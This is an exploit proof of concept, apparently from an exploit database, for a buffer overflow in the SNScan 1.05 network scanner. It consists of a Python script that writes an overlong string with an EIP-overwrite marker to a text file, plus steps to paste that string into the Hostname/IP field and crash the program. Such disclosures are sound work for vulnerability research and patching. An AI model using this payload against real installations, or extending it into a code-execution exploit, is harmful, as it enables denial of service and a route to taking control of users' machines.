SNScan 1.05 – Scan Hostname/IP Field Buffer Overflow Crash (PoC)
#!/usr/bin/env python # -*- coding: utf-8 -*- # Exploit Title : SNScan v1.05 Scan Hostname/IP Field Buffer Overflow Crash PoC # Discovery by : Daniel Velazquez # Email : ingenierovelazquez@hotmail.com # Discovery Date : 12/01/2016 # Vendor Homepage : http://www.foundstone.com # Software Link : http://www.mcafee.com/us/downloads/free-tools/snscan.aspx # Tested Version : 1.05 # Vulnerability Type : Denial of Service (DoS) Local # Tested on OS : Windows 8 x86 es # Steps to Produce the Crash: # 1.- Run python code : python SNScan-v1.05.py # 2.- Open SNScan-v1.05.txt and copy content to clipboard # 3.- Open SNScan.exe # 4.- Clic button Ok # 5.- Paste Clipboard Scan > Hostname/IP # 6.- Clic on add button (->) # 7.- Clic button Aceptar # 8.- Crashed buffer = "\x41" * 388 eip = "\x42" * 4 f = open ("SNScan-v1.05.txt", "w") f.write(buffer + eip) f.close() |